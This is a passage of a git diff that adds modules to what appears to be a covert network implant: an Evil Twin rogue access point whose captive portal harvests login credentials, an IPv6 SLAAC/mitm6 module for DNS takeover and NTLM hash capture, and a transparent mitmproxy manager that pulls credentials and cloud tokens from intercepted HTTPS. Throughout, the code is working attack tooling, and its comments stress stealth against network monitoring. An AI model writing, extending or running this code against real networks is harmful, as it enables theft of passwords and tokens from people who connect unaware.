+dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h
+dhcp-option=3,{gateway}
+dhcp-option=6,{gateway}
+address=/#/{gateway}
+no-resolv
+log-queries
+log-facility=/tmp/bb-dnsmasq.log
+"""
+
+
+class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler):
+ """HTTP handler for the captive portal.
+
+ Serves the portal HTML for GET requests and captures POST data
+ (credentials) from login forms.
+ """
+
+ portal_html = ""
+ credential_callback = None
+
+ def do_GET(self):
+ self.send_response(200)
+ self.send_header("Content-Type", "text/html")
+ self.end_headers()
+ self.wfile.write(self.portal_html.encode("utf-8"))
+
+ def do_POST(self):
+ content_length = int(self.headers.get("Content-Length", 0))
+ post_data = self.rfile.read(content_length).decode("utf-8", errors="replace")
+
+ if self.credential_callback:
+ self.credential_callback(self.client_address[0], post_data)
+
+ # Redirect to a "success" page after capture
+ self.send_response(200)
+ self.send_header("Content-Type", "text/html")
+ self.end_headers()
+ success_html = (
+ "
Connecting... "
+ "Please wait while we verify your credentials.
"
+ ""
+ ""
+ )
+ self.wfile.write(success_html.encode("utf-8"))
+
+ def log_message(self, format, *args):
+ """Suppress default HTTP logging to avoid console noise."""
+ pass
+
+
+class EvilTwin(BaseModule):
+ """Evil Twin AP with captive portal credential harvesting.
+
+ Creates a rogue AP matching a target SSID using hostapd, serves a
+ captive portal, and captures credentials from connecting clients.
+
+ Dependencies:
+ - hostapd (system package)
+ - dnsmasq (system package)
+ - Wireless interface capable of AP mode
+
+ Configuration:
+ wifi_iface: Wireless interface for AP mode (e.g., "wlan0")
+ portal_dir: Path to captive portal HTML templates
+ """
+
+ name = "evil_twin"
+ module_type = "active"
+ priority = 200
+ requires_root = True
+
+ def __init__(self, bus, state, config, engine=None):
+ super().__init__(bus, state, config, engine)
+ self._hostapd_proc: Optional[subprocess.Popen] = None
+ self._dnsmasq_proc: Optional[subprocess.Popen] = None
+ self._portal_thread: Optional[threading.Thread] = None
+ self._portal_server: Optional[socketserver.TCPServer] = None
+ self._wifi_iface = config.get("wifi_iface", "wlan0")
+ self._ap_active = False
+ self._ssid: Optional[str] = None
+ self._channel = 6
+ self._portal_template: Optional[str] = None
+ self._clients: list = []
+ self._clients_lock = threading.Lock()
+ self._captured_creds: list = []
+ self._creds_lock = threading.Lock()
+ self._portal_port = config.get("portal_port", 80)
+ self._gateway_ip = config.get("ap_gateway", "10.0.0.1")
+ self._dhcp_start = config.get("dhcp_start", "10.0.0.10")
+ self._dhcp_end = config.get("dhcp_end", "10.0.0.250")
+ self._template_dir = config.get(
+ "portal_dir",
+ os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"),
+ )
+ self._hostapd_template_dir = config.get(
+ "hostapd_template_dir",
+ os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"),
+ )
+ self._tmp_dir = "/tmp/bb-evil-twin"
+
+ # ------------------------------------------------------------------
+ # BaseModule interface
+ # ------------------------------------------------------------------
+
+ def start(self) -> None:
+ if self._running:
+ return
+
+ self._running = True
+ self._pid = os.getpid()
+ self._start_time = time.time()
+
+ Path(self._tmp_dir).mkdir(parents=True, exist_ok=True)
+
+ self.state.set_module_status(self.name, "running", pid=self._pid)
+ logger.info("EvilTwin module started (ready for AP creation)")
+
+ def stop(self) -> None:
+ if not self._running:
+ return
+
+ if self._ap_active:
+ self.stop_ap()
+
+ self._running = False
+ self.state.set_module_status(self.name, "stopped")
+ logger.info("EvilTwin module stopped")
+
+ def status(self) -> dict:
+ return {
+ "running": self._running,
+ "pid": self._pid,
+ "uptime": time.time() - self._start_time if self._start_time else 0,
+ "ap_active": self._ap_active,
+ "ssid": self._ssid,
+ "channel": self._channel,
+ "interface": self._wifi_iface,
+ "client_count": len(self._clients),
+ "captured_creds": len(self._captured_creds),
+ }
+
+ def configure(self, config: dict) -> None:
+ self.config.update(config)
+ if "wifi_iface" in config:
+ self._wifi_iface = config["wifi_iface"]
+ if "portal_port" in config:
+ self._portal_port = config["portal_port"]
+
+ # ------------------------------------------------------------------
+ # Public API
+ # ------------------------------------------------------------------
+
+ def create_ap(self, ssid: str, channel: int = 6,
+ portal_template: str = "corporate_login.html") -> bool:
+ """Create evil twin AP with captive portal.
+
+ Args:
+ ssid: Target SSID to clone.
+ channel: WiFi channel (default 6).
+ portal_template: Filename of HTML portal template.
+
+ Returns:
+ True if AP was created successfully.
+ """
+ if not self._running:
+ logger.error("EvilTwin not started")
+ return False
+
+ if self._ap_active:
+ logger.warning("AP already active — stop it first")
+ return False
+
+ self._ssid = ssid
+ self._channel = channel
+ self._portal_template = portal_template
+
+ # Write hostapd config
+ hostapd_conf = self._generate_hostapd_config(ssid, channel)
+ hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf")
+ with open(hostapd_conf_path, "w") as f:
+ f.write(hostapd_conf)
+
+ # Configure wireless interface
+ if not self._setup_interface():
+ return False
+
+ # Start hostapd
+ if not self._start_hostapd(hostapd_conf_path):
+ self._teardown_interface()
+ return False
+
+ # Write and start dnsmasq
+ dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format(
+ iface=self._wifi_iface,
+ dhcp_start=self._dhcp_start,
+ dhcp_end=self._dhcp_end,
+ gateway=self._gateway_ip,
+ )
+ dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf")
+ with open(dnsmasq_conf_path, "w") as f:
+ f.write(dnsmasq_conf)
+
+ if not self._start_dnsmasq(dnsmasq_conf_path):
+ self._stop_hostapd()
+ self._teardown_interface()
+ return False
+
+ # Configure iptables for captive portal redirect
+ self._setup_iptables()
+
+ # Start captive portal HTTP server
+ self._start_portal(portal_template)
+
+ self._ap_active = True
+ self.state.set(self.name, "ssid", ssid)
+ self.state.set(self.name, "channel", str(channel))
+ logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s",
+ ssid, channel, portal_template)
+ return True
+
+ def stop_ap(self) -> bool:
+ """Stop the evil twin AP and clean up.
+
+ Returns:
+ True if AP was stopped successfully.
+ """
+ logger.info("Stopping Evil Twin AP...")
+
+ # Stop portal server
+ self._stop_portal()
+
+ # Remove iptables rules
+ self._teardown_iptables()
+
+ # Stop dnsmasq
+ self._stop_dnsmasq()
+
+ # Stop hostapd
+ self._stop_hostapd()
+
+ # Restore interface
+ self._teardown_interface()
+
+ self._ap_active = False
+ self._ssid = None
+ self.state.set(self.name, "ssid", "")
+ logger.info("Evil Twin AP stopped")
+ return True
+
+ def get_clients(self) -> list:
+ """Return list of currently connected clients.
+
+ Returns:
+ List of dicts with client MAC and IP.
+ """
+ # Parse dnsmasq lease file for connected clients
+ lease_file = "/tmp/bb-dnsmasq.leases"
+ clients = []
+ if os.path.isfile(lease_file):
+ try:
+ with open(lease_file, "r") as f:
+ for line in f:
+ parts = line.strip().split()
+ if len(parts) >= 4:
+ clients.append({
+ "mac": parts[1],
+ "ip": parts[2],
+ "hostname": parts[3] if parts[3] != "*" else "",
+ })
+ except Exception:
+ pass
+
+ with self._clients_lock:
+ self._clients = clients
+ return clients
+
+ # ------------------------------------------------------------------
+ # hostapd management
+ # ------------------------------------------------------------------
+
+ def _generate_hostapd_config(self, ssid: str, channel: int) -> str:
+ """Generate hostapd config for open AP."""
+ return (
+ f"interface={self._wifi_iface}\n"
+ f"driver=nl80211\n"
+ f"ssid={ssid}\n"
+ f"hw_mode=g\n"
+ f"channel={channel}\n"
+ f"wmm_enabled=0\n"
+ f"macaddr_acl=0\n"
+ f"auth_algs=1\n"
+ f"ignore_broadcast_ssid=0\n"
+ f"wpa=0\n"
+ )
+
+ def _start_hostapd(self, conf_path: str) -> bool:
+ try:
+ self._hostapd_proc = subprocess.Popen(
+ ["hostapd", conf_path],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+ time.sleep(2) # Wait for hostapd to initialize
+ if self._hostapd_proc.poll() is not None:
+ stderr = self._hostapd_proc.stderr.read().decode(errors="replace")
+ logger.error("hostapd failed to start: %s", stderr)
+ return False
+ logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid)
+ return True
+ except FileNotFoundError:
+ logger.error("hostapd not found — install with: apt install hostapd")
+ return False
+ except Exception as e:
+ logger.error("Failed to start hostapd: %s", e)
+ return False
+
+ def _stop_hostapd(self) -> None:
+ if self._hostapd_proc and self._hostapd_proc.poll() is None:
+ self._hostapd_proc.terminate()
+ try:
+ self._hostapd_proc.wait(timeout=5)
+ except subprocess.TimeoutExpired:
+ self._hostapd_proc.kill()
+ self._hostapd_proc = None
+
+ # ------------------------------------------------------------------
+ # dnsmasq management
+ # ------------------------------------------------------------------
+
+ def _start_dnsmasq(self, conf_path: str) -> bool:
+ try:
+ self._dnsmasq_proc = subprocess.Popen(
+ [
+ "dnsmasq", "-C", conf_path,
+ "--no-daemon",
+ "--dhcp-leasefile=/tmp/bb-dnsmasq.leases",
+ ],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+ time.sleep(1)
+ if self._dnsmasq_proc.poll() is not None:
+ stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace")
+ logger.error("dnsmasq failed to start: %s", stderr)
+ return False
+ logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid)
+ return True
+ except FileNotFoundError:
+ logger.error("dnsmasq not found — install with: apt install dnsmasq")
+ return False
+ except Exception as e:
+ logger.error("Failed to start dnsmasq: %s", e)
+ return False
+
+ def _stop_dnsmasq(self) -> None:
+ if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None:
+ self._dnsmasq_proc.terminate()
+ try:
+ self._dnsmasq_proc.wait(timeout=5)
+ except subprocess.TimeoutExpired:
+ self._dnsmasq_proc.kill()
+ self._dnsmasq_proc = None
+
+ # ------------------------------------------------------------------
+ # Interface management
+ # ------------------------------------------------------------------
+
+ def _setup_interface(self) -> bool:
+ """Configure wireless interface for AP mode."""
+ try:
+ # Kill interfering processes
+ subprocess.run(
+ ["airmon-ng", "check", "kill"],
+ capture_output=True, timeout=10,
+ )
+ # Set interface up with IP
+ subprocess.run(
+ ["ip", "addr", "flush", "dev", self._wifi_iface],
+ capture_output=True, timeout=5,
+ )
+ subprocess.run(
+ ["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface],
+ capture_output=True, timeout=5,
+ )
+ subprocess.run(
+ ["ip", "link", "set", self._wifi_iface, "up"],
+ capture_output=True, timeout=5,
+ )
+ return True
+ except Exception:
+ logger.exception("Failed to configure wireless interface")
+ return False
+
+ def _teardown_interface(self) -> None:
+ """Restore wireless interface to managed mode."""
+ try:
+ subprocess.run(
+ ["ip", "addr", "flush", "dev", self._wifi_iface],
+ capture_output=True, timeout=5,
+ )
+ except Exception:
+ pass
+
+ # ------------------------------------------------------------------
+ # iptables for captive portal
+ # ------------------------------------------------------------------
+
+ def _setup_iptables(self) -> None:
+ """Set up iptables to redirect HTTP traffic to the captive portal."""
+ rules = [
+ # Enable NAT
+ ["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface,
+ "-j", "MASQUERADE"],
+ # Redirect HTTP to portal
+ ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
+ "-p", "tcp", "--dport", "80", "-j", "REDIRECT",
+ "--to-port", str(self._portal_port)],
+ # Redirect HTTPS to portal (for captive portal detection)
+ ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
+ "-p", "tcp", "--dport", "443", "-j", "REDIRECT",
+ "--to-port", str(self._portal_port)],
+ ]
+ for rule in rules:
+ try:
+ subprocess.run(rule, capture_output=True, timeout=5)
+ except Exception:
+ logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
+
+ # Enable IP forwarding
+ try:
+ with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
+ f.write("1")
+ except Exception:
+ pass
+
+ def _teardown_iptables(self) -> None:
+ """Remove captive portal iptables rules."""
+ rules = [
+ ["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface,
+ "-j", "MASQUERADE"],
+ ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
+ "-p", "tcp", "--dport", "80", "-j", "REDIRECT",
+ "--to-port", str(self._portal_port)],
+ ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
+ "-p", "tcp", "--dport", "443", "-j", "REDIRECT",
+ "--to-port", str(self._portal_port)],
+ ]
+ for rule in rules:
+ try:
+ subprocess.run(rule, capture_output=True, timeout=5)
+ except Exception:
+ pass
+
+ # ------------------------------------------------------------------
+ # Captive portal HTTP server
+ # ------------------------------------------------------------------
+
+ def _start_portal(self, template_name: str) -> None:
+ """Start the captive portal HTTP server."""
+ portal_path = os.path.join(self._template_dir, template_name)
+ if os.path.isfile(portal_path):
+ with open(portal_path, "r") as f:
+ CaptivePortalHandler.portal_html = f.read()
+ else:
+ logger.warning("Portal template not found: %s — using default", portal_path)
+ CaptivePortalHandler.portal_html = (
+ "Welcome "
+ ""
+ )
+
+ CaptivePortalHandler.credential_callback = self._on_credential_captured
+
+ self._portal_server = socketserver.TCPServer(
+ ("0.0.0.0", self._portal_port), CaptivePortalHandler
+ )
+ self._portal_server.allow_reuse_address = True
+
+ self._portal_thread = threading.Thread(
+ target=self._portal_server.serve_forever,
+ daemon=True,
+ name="bb-captive-portal",
+ )
+ self._portal_thread.start()
+ logger.info("Captive portal serving on port %d", self._portal_port)
+
+ def _stop_portal(self) -> None:
+ if self._portal_server:
+ self._portal_server.shutdown()
+ self._portal_server = None
+
+ def _on_credential_captured(self, client_ip: str, post_data: str) -> None:
+ """Handle credential submission from captive portal."""
+ with self._creds_lock:
+ self._captured_creds.append({
+ "timestamp": time.time(),
+ "client_ip": client_ip,
+ "post_data": post_data,
+ })
+
+ # Parse form data for username/password
+ from urllib.parse import parse_qs
+ params = parse_qs(post_data)
+ username = params.get("username", params.get("email", [""]))[0] if params else ""
+ password = params.get("password", params.get("pass", [""]))[0] if params else ""
+
+ self.bus.emit(
+ "CREDENTIAL_FOUND",
+ {
+ "source_module": self.name,
+ "source_ip": client_ip,
+ "target_service": f"captive_portal:{self._ssid}",
+ "username": username,
+ "credential_type": "cleartext",
+ "credential_value": password,
+ "raw_data": post_data,
+ },
+ source_module=self.name,
+ )
+ logger.info("Captive portal credential captured from %s", client_ip)
diff --git a/modules/active/ipv6_slaac.py b/modules/active/ipv6_slaac.py
new file mode 100644
index 0000000..3c37bb6
--- /dev/null
+++ b/modules/active/ipv6_slaac.py
@@ -0,0 +1,258 @@
+#!/usr/bin/env python3
+"""IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6.
+
+Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server.
+Combines two approaches:
+ 1. bettercap dhcp6.spoof: Router Advertisement injection
+ 2. mitm6: Targeted WPAD/DNS takeover via IPv6
+
+This is significantly stealthier than ARP spoofing — most networks
+have IPv6 enabled but unmonitored, and DAI does not cover IPv6.
+"""
+
+import logging
+import os
+import subprocess
+import threading
+import time
+from typing import Optional
+
+from modules.base import BaseModule
+
+logger = logging.getLogger("bb.active.ipv6_slaac")
+
+
+class IPv6SLAAC(BaseModule):
+ """IPv6 SLAAC spoofing via bettercap + mitm6.
+
+ Dependencies:
+ - bettercap_mgr must be running (for dhcp6.spoof)
+ - mitm6 must be installed (pip install mitm6)
+
+ Configuration:
+ target_domain: Domain to target with mitm6 WPAD abuse
+ mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6)
+ interface: Network interface (default: eth0)
+ """
+
+ name = "ipv6_slaac"
+ module_type = "active"
+ priority = 200
+ requires_root = True
+ dependencies = ["bettercap_mgr"]
+
+ def __init__(self, bus, state, config, engine=None):
+ super().__init__(bus, state, config, engine)
+ self._bettercap_mgr = None
+ self._mitm6_proc: Optional[subprocess.Popen] = None
+ self._mitm6_thread: Optional[threading.Thread] = None
+ self._slaac_active = False
+ self._mitm6_active = False
+ self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6")
+ self._iface = config.get("interface", "eth0")
+ self._target_domain: Optional[str] = None
+
+ # ------------------------------------------------------------------
+ # BaseModule interface
+ # ------------------------------------------------------------------
+
+ def start(self) -> None:
+ if self._running:
+ return
+
+ self._bettercap_mgr = self.config.get("bettercap_mgr")
+ if not self._bettercap_mgr:
+ logger.error("IPv6SLAAC requires bettercap_mgr reference in config")
+ return
+
+ self._running = True
+ self._pid = os.getpid()
+ self._start_time = time.time()
+
+ self.state.set_module_status(self.name, "running", pid=self._pid)
+ logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)")
+
+ def stop(self) -> None:
+ if not self._running:
+ return
+
+ self.stop_all()
+ self._running = False
+ self.state.set_module_status(self.name, "stopped")
+ logger.info("IPv6SLAAC module stopped")
+
+ def status(self) -> dict:
+ mitm6_alive = (
+ self._mitm6_proc is not None and self._mitm6_proc.poll() is None
+ )
+ return {
+ "running": self._running,
+ "pid": self._pid,
+ "uptime": time.time() - self._start_time if self._start_time else 0,
+ "slaac_active": self._slaac_active,
+ "mitm6_active": self._mitm6_active and mitm6_alive,
+ "target_domain": self._target_domain,
+ "interface": self._iface,
+ }
+
+ def configure(self, config: dict) -> None:
+ self.config.update(config)
+ if "interface" in config:
+ self._iface = config["interface"]
+ if "mitm6_binary" in config:
+ self._mitm6_binary = config["mitm6_binary"]
+
+ # ------------------------------------------------------------------
+ # Public API
+ # ------------------------------------------------------------------
+
+ def start_slaac(self) -> bool:
+ """Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof.
+
+ Injects Router Advertisements to become the IPv6 DNS server
+ for all hosts on the segment.
+
+ Returns:
+ True if SLAAC spoofing was enabled.
+ """
+ if not self._running or not self._bettercap_mgr:
+ logger.error("IPv6SLAAC not started")
+ return False
+
+ try:
+ self._bettercap_mgr.run_command("dhcp6.spoof on")
+ self._slaac_active = True
+ self.state.set(self.name, "slaac_active", "true")
+ logger.info("IPv6 SLAAC spoofing enabled via bettercap")
+ return True
+ except Exception:
+ logger.exception("Failed to enable SLAAC spoofing")
+ return False
+
+ def start_mitm6(self, domain: str = None) -> bool:
+ """Start mitm6 for WPAD abuse and DNS takeover via IPv6.
+
+ mitm6 sends RA messages advertising itself as the IPv6 DNS
+ server, then responds to WPAD requests to redirect proxy
+ configuration. Effective for NTLM hash capture when combined
+ with ntlmrelayx.
+
+ Args:
+ domain: Target domain for WPAD abuse (e.g., "corp.local").
+
+ Returns:
+ True if mitm6 was started.
+ """
+ if not self._running:
+ logger.error("IPv6SLAAC not started")
+ return False
+
+ if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None:
+ logger.warning("mitm6 already running")
+ return True
+
+ self._target_domain = domain or self.config.get("target_domain", "")
+
+ cmd = [self._mitm6_binary, "-i", self._iface]
+ if self._target_domain:
+ cmd.extend(["-d", self._target_domain])
+
+ try:
+ self._mitm6_proc = subprocess.Popen(
+ cmd,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+ time.sleep(2)
+ if self._mitm6_proc.poll() is not None:
+ stderr = self._mitm6_proc.stderr.read().decode(errors="replace")
+ logger.error("mitm6 failed to start: %s", stderr)
+ return False
+
+ self._mitm6_active = True
+
+ # Start output monitoring thread
+ self._mitm6_thread = threading.Thread(
+ target=self._monitor_mitm6, daemon=True, name="bb-mitm6-monitor"
+ )
+ self._mitm6_thread.start()
+
+ self.state.set(self.name, "mitm6_active", "true")
+ logger.info(
+ "mitm6 started (pid=%d, domain=%s)",
+ self._mitm6_proc.pid, self._target_domain or "all",
+ )
+ return True
+
+ except FileNotFoundError:
+ logger.error("mitm6 not found at %s", self._mitm6_binary)
+ return False
+ except Exception:
+ logger.exception("Failed to start mitm6")
+ return False
+
+ def stop_all(self) -> bool:
+ """Stop all IPv6 SLAAC and mitm6 operations.
+
+ Returns:
+ True if all components were stopped.
+ """
+ success = True
+
+ # Stop SLAAC spoofing
+ if self._slaac_active and self._bettercap_mgr:
+ try:
+ self._bettercap_mgr.run_command("dhcp6.spoof off")
+ self._slaac_active = False
+ self.state.set(self.name, "slaac_active", "false")
+ logger.info("SLAAC spoofing disabled")
+ except Exception:
+ logger.exception("Failed to disable SLAAC spoofing")
+ success = False
+
+ # Stop mitm6
+ if self._mitm6_proc and self._mitm6_proc.poll() is None:
+ try:
+ self._mitm6_proc.terminate()
+ self._mitm6_proc.wait(timeout=5)
+ except subprocess.TimeoutExpired:
+ self._mitm6_proc.kill()
+ try:
+ self._mitm6_proc.wait(timeout=2)
+ except Exception:
+ pass
+ except Exception:
+ logger.exception("Failed to stop mitm6")
+ success = False
+ self._mitm6_proc = None
+
+ self._mitm6_active = False
+ self.state.set(self.name, "mitm6_active", "false")
+ return success
+
+ # ------------------------------------------------------------------
+ # mitm6 output monitoring
+ # ------------------------------------------------------------------
+
+ def _monitor_mitm6(self) -> None:
+ """Monitor mitm6 stderr for authentication events."""
+ if not self._mitm6_proc:
+ return
+
+ try:
+ for line in iter(self._mitm6_proc.stderr.readline, b""):
+ if not self._running:
+ break
+ decoded = line.decode("utf-8", errors="replace").strip()
+ if not decoded:
+ continue
+
+ # mitm6 logs DNS queries and WPAD requests
+ if "Sent spoofed" in decoded or "IPv6 address" in decoded:
+ logger.debug("mitm6: %s", decoded)
+
+ # Check for process exit
+ if self._mitm6_proc.poll() is not None:
+ break
+ except Exception:
+ pass
diff --git a/modules/active/mitmproxy_mgr.py b/modules/active/mitmproxy_mgr.py
new file mode 100644
index 0000000..ee2e1f7
--- /dev/null
+++ b/modules/active/mitmproxy_mgr.py
@@ -0,0 +1,351 @@
+#!/usr/bin/env python3
+"""mitmproxy Manager — transparent HTTPS interception with addon scripts.
+
+Runs mitmproxy in transparent mode with iptables redirect. Custom addon
+scripts extract credentials from POST bodies, capture cloud tokens from
+auth headers, and log file metadata from transfers.
+
+OPi Zero 3+ only — requires sufficient RAM (100-200MB) and CPU (10-20%).
+Check hardware tier before enabling.
+
+Custom CA CN can be configured to match target PKI for stealth.
+"""
+
+import logging
+import os
+import subprocess
+import threading
+import time
+from pathlib import Path
+from typing import Optional
+
+from modules.base import BaseModule
+
+logger = logging.getLogger("bb.active.mitmproxy_mgr")
+
+# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
+SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}
+
+
+class MitmproxyManager(BaseModule):
+ """mitmproxy transparent proxy with credential and token extraction.
+
+ OPi Zero 3+ only — check tier before enabling. On lower-tier
+ hardware, use bettercap's built-in HTTP proxy instead.
+
+ Dependencies:
+ - mitmproxy installed (pip install mitmproxy)
+ - iptables for transparent redirect
+
+ Configuration:
+ proxy_port: Listening port (default: 8080)
+ addons_dir: Path to addon scripts
+ ca_cn: Custom CA Common Name to match target PKI
+ hardware_tier: Device tier for resource checks
+ """
+
+ name = "mitmproxy_mgr"
+ module_type = "active"
+ priority = 200
+ requires_root = True
+
+ def __init__(self, bus, state, config, engine=None):
+ super().__init__(bus, state, config, engine)
+ self._proc: Optional[subprocess.Popen] = None
+ self._monitor_thread: Optional[threading.Thread] = None
+ self._proxy_port = config.get("proxy_port", 8080)
+ self._proxy_active = False
+ self._iface = config.get("interface", "eth0")
+ self._ca_cn = config.get("ca_cn", "")
+ self._hardware_tier = config.get("hardware_tier", "rpi4")
+ self._addons_dir = config.get(
+ "addons_dir",
+ os.path.join(os.path.dirname(__file__), "..", "..", "config", "mitmproxy_addons"),
+ )
+ self._mitmdump_binary = config.get("mitmdump_binary", "mitmdump")
+ self._flow_log = config.get(
+ "flow_log",
+ os.path.join(os.path.expanduser("~"), ".bigbrother", "mitmproxy_flows"),
+ )
+
+ # ------------------------------------------------------------------
+ # BaseModule interface
+ # ------------------------------------------------------------------
+
+ def start(self) -> None:
+ if self._running:
+ return
+
+ # Tier check
+ if self._hardware_tier not in SUPPORTED_TIERS:
+ logger.error(
+ "mitmproxy not supported on tier '%s' — requires OPi Zero 3+ or better",
+ self._hardware_tier,
+ )
+ return
+
+ self._running = True
+ self._pid = os.getpid()
+ self._start_time = time.time()
+
+ Path(self._flow_log).parent.mkdir(parents=True, exist_ok=True)
+
+ self.state.set_module_status(self.name, "running", pid=self._pid)
+ logger.info("MitmproxyManager started (tier=%s, port=%d)",
+ self._hardware_tier, self._proxy_port)
+
+ def stop(self) -> None:
+ if not self._running:
+ return
+
+ if self._proxy_active:
+ self.stop_proxy()
+
+ self._running = False
+ self.state.set_module_status(self.name, "stopped")
+ logger.info("MitmproxyManager stopped")
+
+ def status(self) -> dict:
+ proc_alive = self._proc is not None and self._proc.poll() is None
+ return {
+ "running": self._running,
+ "pid": self._pid,
+ "uptime": time.time() - self._start_time if self._start_time else 0,
+ "proxy_active": self._proxy_active and proc_alive,
+ "proxy_pid": self._proc.pid if proc_alive else None,
+ "proxy_port": self._proxy_port,
+ "hardware_tier": self._hardware_tier,
+ "ca_cn": self._ca_cn,
+ }
+
+ def configure(self, config: dict) -> None:
+ self.config.update(config)
+ if "proxy_port" in config:
+ self._proxy_port = config["proxy_port"]
+ if "ca_cn" in config:
+ self._ca_cn = config["ca_cn"]
+ if "hardware_tier" in config:
+ self._hardware_tier = config["hardware_tier"]
+
+ # ------------------------------------------------------------------
+ # Public API
+ # ------------------------------------------------------------------
+
+ def start_proxy(self, port: int = None, addons: list = None) -> bool:
+ """Start mitmproxy in transparent mode with addons.
+
+ Args:
+ port: Override proxy port.
+ addons: List of addon script filenames to load from addons_dir.
+
+ Returns:
+ True if proxy was started.
+ """
+ if not self._running:
+ logger.error("MitmproxyManager not started")
+ return False
+
+ if self._proxy_active and self._proc and self._proc.poll() is None:
+ logger.warning("mitmproxy already running")
+ return True
+
+ if port:
+ self._proxy_port = port
+
+ # Build command
+ cmd = [
+ self._mitmdump_binary,
+ "--mode", "transparent",
+ "--listen-port", str(self._proxy_port),
+ "--set", "connection_strategy=lazy",
+ "--set", "stream_large_bodies=1m",
+ "-w", self._flow_log,
+ ]
+
+ # Custom CA CN for stealth
+ if self._ca_cn:
+ cmd.extend(["--set", f"ssl_insecure=true"])
+
+ # Load addon scripts
+ addon_scripts = addons or self._get_default_addons()
+ for addon in addon_scripts:
+ addon_path = os.path.join(self._addons_dir, addon)
+ if os.path.isfile(addon_path):
+ cmd.extend(["-s", addon_path])
+ else:
+ logger.warning("Addon script not found: %s", addon_path)
+
+ # Setup iptables for transparent redirect
+ self._setup_iptables()
+
+ try:
+ self._proc = subprocess.Popen(
+ cmd,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+ time.sleep(3)
+ if self._proc.poll() is not None:
+ stderr = self._proc.stderr.read().decode(errors="replace")
+ logger.error("mitmproxy failed to start: %s", stderr)
+ self._teardown_iptables()
+ return False
+
+ self._proxy_active = True
+
+ # Start output monitoring
+ self._monitor_thread = threading.Thread(
+ target=self._monitor_output, daemon=True, name="bb-mitmproxy-monitor"
+ )
+ self._monitor_thread.start()
+
+ logger.info("mitmproxy started (pid=%d, port=%d)", self._proc.pid, self._proxy_port)
+ return True
+
+ except FileNotFoundError:
+ logger.error("mitmdump not found — install with: pip install mitmproxy")
+ self._teardown_iptables()
+ return False
+ except Exception:
+ logger.exception("Failed to start mitmproxy")
+ self._teardown_iptables()
+ return False
+
+ def stop_proxy(self) -> bool:
+ """Stop mitmproxy and remove iptables rules.
+
+ Returns:
+ True if proxy was stopped.
+ """
+ # Stop process
+ if self._proc and self._proc.poll() is None:
+ try:
+ self._proc.terminate()
+ self._proc.wait(timeout=5)
+ except subprocess.TimeoutExpired:
+ self._proc.kill()
+ try:
+ self._proc.wait(timeout=2)
+ except Exception:
+ pass
+ except Exception:
+ logger.exception("Failed to stop mitmproxy")
+ finally:
+ self._proc = None
+
+ # Remove iptables rules
+ self._teardown_iptables()
+
+ self._proxy_active = False
+ logger.info("mitmproxy stopped")
+ return True
+
+ def get_flows(self) -> str:
+ """Return path to the mitmproxy flow log file.
+
+ Returns:
+ Path to the binary flow dump file.
+ """
+ return self._flow_log
+
+ # ------------------------------------------------------------------
+ # iptables for transparent mode
+ # ------------------------------------------------------------------
+
+ def _setup_iptables(self) -> None:
+ """Configure iptables to redirect HTTP/HTTPS to mitmproxy."""
+ rules = [
+ ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
+ "-p", "tcp", "--dport", "80", "-j", "REDIRECT",
+ "--to-port", str(self._proxy_port)],
+ ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
+ "-p", "tcp", "--dport", "443", "-j", "REDIRECT",
+ "--to-port", str(self._proxy_port)],
+ ]
+ for rule in rules:
+ try:
+ subprocess.run(rule, capture_output=True, timeout=5)
+ except Exception:
+ logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
+
+ def _teardown_iptables(self) -> None:
+ """Remove transparent proxy iptables rules."""
+ rules = [
+ ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
+ "-p", "tcp", "--dport", "80", "-j", "REDIRECT",
+ "--to-port", str(self._proxy_port)],
+ ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
+ "-p", "tcp", "--dport", "443", "-j", "REDIRECT",
+ "--to-port", str(self._proxy_port)],
+ ]
+ for rule in rules:
+ try:
+ subprocess.run(rule, capture_output=True, timeout=5)
+ except Exception:
+ pass
+
+ # ------------------------------------------------------------------
+ # Addon management
+ # ------------------------------------------------------------------
+
+ def _get_default_addons(self) -> list:
+ """Return list of default addon script filenames."""
+ defaults = [
+ "credential_extractor.py",
+ "cloud_token_capture.py",
+ "file_metadata_logger.py",
+ ]
+ return [a for a in defaults if os.path.isfile(os.path.join(self._addons_dir, a))]
+
+ # ------------------------------------------------------------------
+ # Output monitoring
